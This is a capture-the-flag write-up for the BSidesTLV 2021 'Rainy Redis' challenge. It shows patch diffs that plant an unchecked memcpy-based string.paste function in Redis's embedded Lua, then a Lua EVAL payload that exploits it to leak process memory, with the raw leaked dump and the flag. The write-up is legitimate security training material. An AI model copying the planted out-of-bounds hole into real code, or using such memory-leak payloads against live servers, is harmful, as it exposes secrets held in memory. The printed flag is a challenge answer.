Rainy Redis

Description

problem description

Solution

This was a nice and easy challenge. Looking in the tarball we find a patch_files directory. Inside there are two patchs: p1_lua.diff and p2_scripting_init.diff. The first patch content is:

--- redis/deps/lua/src/lstrlib.c        2021-07-15 20:41:26.440551800 +0300
+++ redis/deps/lua/src/lstrlib.c        2021-07-15 20:36:18.949532600 +0300
@@ -824,6 +824,25 @@
 }


+static int str_paste (lua_State *L) {
+    int nargs = lua_gettop(L);  /* number of arguments */
+    size_t l;
+    if (nargs != 4) {
+      return luaL_argerror(L, 0, "string.paste expects 4 arguments(str1, str2, len_to_paste, skip)");
+    }
+
+    const char *s1  = luaL_checklstring(L, 1, &l);
+    const char *s2  = luaL_checklstring(L, 2, &l);
+    lua_Number len  = lua_tonumber(L, 3);
+    lua_Number skip = lua_tonumber(L, 4);
+
+    s2 += (int)skip;
+    memcpy(s2, s1, (size_t)len);
+
+    return 0;
+}
+
+
 static const luaL_Reg strlib[] = {
   {"byte", str_byte},
   {"char", str_char},
@@ -839,6 +858,7 @@
   {"rep", str_rep},
   {"reverse", str_reverse},
   {"sub", str_sub},
+  {"paste", str_paste},
   {"upper", str_upper},
   {NULL, NULL}
 };

So the lua implementation in this specific radis server gets a new function "paste" for "string" which look like a OOB READ/WRITE primitive. The second patch content is:

--- redis/src/scripting.c       2021-06-01 17:03:44.000000000 +0300
+++ redis/src/scripting.c       2021-07-15 20:44:10.429469700 +0300
@@ -1069,6 +1069,13 @@
     s[j++]="  return rawget(t, n)\n";
     s[j++]="end\n";
     s[j++]="debug = nil\n";
+    /* ======== executed during lua state startup ======== */
+    s[j++]="local flag = ''\n";
+    s[j++]="for i = 1,1000,1 do\n";
+    s[j++]="    flag = flag .. 'BSidesTLV2021{demo-flag--demo-flag--demo-flag}'\n";
+    s[j++]="end\n";
+    s[j++]="flag = nil\n"; // clean secret value from Lua context. The flag cannot be available on production env!
+    /* ================================================== */
     s[j++]=NULL;

     for (j = 0; s[j] != NULL; j++) code = sdscatlen(code,s[j],strlen(s[j]));

So this runs on initialization of the scripting of a session it concatenates the flag many times into a variable but then it sets the variable to nil, fortunately the actual string is still in memory. To get the flag we leak memory by doing:

rainy-redis.ctf.bsidestlv.com:6379> AUTH default-pwd
OK
rainy-redis.ctf.bsidestlv.com:6379> EVAL 'local t = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; string.paste("BSidesTLV2021{", t, 4096, 0); return t' 0
"BSidesTLV2021{\x00\x00\x05\x00\x00\x00\x00\xff\x00\x00\x01\x00\x00\x[email protected]\x00\x00F\x80\xc0\x00\x81\xc0\x00\x00\xc0\x00\x00\x00\x01\x01\x01\x00AA\x01\x00\\@\x80\x02\x00\xd3K\x9bC\x7f\x00\x00\x0c\x00\x00\x00\x00\x8a\x1e\x00`\xa0K\x9bC\x7f\x00\x00\n\x01\x00\x00\x00\x00\x00\x00\xb8\xd9K\x9bC\x7f\x00\x00\xb0\x94L\x9bC\x7f\x00\x00\x05\x00\x00\x00C\x7f\x00\x00\x00\x00\x00\x00\x00+!\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x01\x00\x00c\x8d\xa9,\x12\x00\x00\x00\x00\x00\x00\x[email protected]_strict_lua\x00\x00\x00\xff\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\xad'\x00\xa0\xd2K\x9bC\x7f\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\xc0\xd2K\x9bC\x7f\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x02\x00\x00D\xe1\x83\x00\x04\x00\x00\x00\x00\x00\x00\x00flag\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x02\x00\x00\xc8%(\x05\x0b\x00\x00\x00\x00\x00\x00\x00(for index)\x00\x00\x00\x00\x00\b\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x02\x00\x00l\x0e^R\x0b\x00\x00\x00\x00\x00\x00\x00(for limit)\x00\x00\x00\x00\x00\b\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x02\x00\x00\x1a\x8d\xc6u\n\x00\x00\x00\x00\x00\x00\x00(for step)\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x00\xff\x00\x00 \xe0K\x9bC\x7f\x00\x00\x06\x02\x00\x00\xdc\x80\x00\x01\x00\x00\x00\x00\x00\x00\x00\[email protected]\xe2\x88\x9bC\x7f\x00\x00\xd0\xd5K\x9bC\x7f\x00\x00\x00\x00\x00\x00\x00\x939\x00\xe0\xa0K\x9bC\x7f\x00\x00\n\x01\x00\x00\x05\x00\x00\x00h\xdbK\x9bC\x7f\x00\x00\xb0\x94L\x9bC\x7f\x00\x00\x05\x00\x00\x00C\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\xff\x00\x00BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}BSidesTLV2021{w0ah-r3d1s-c"

The flag is BSidesTLV2021{w0ah-r3d1s-cl0uds-c4n-bl33d-t00}.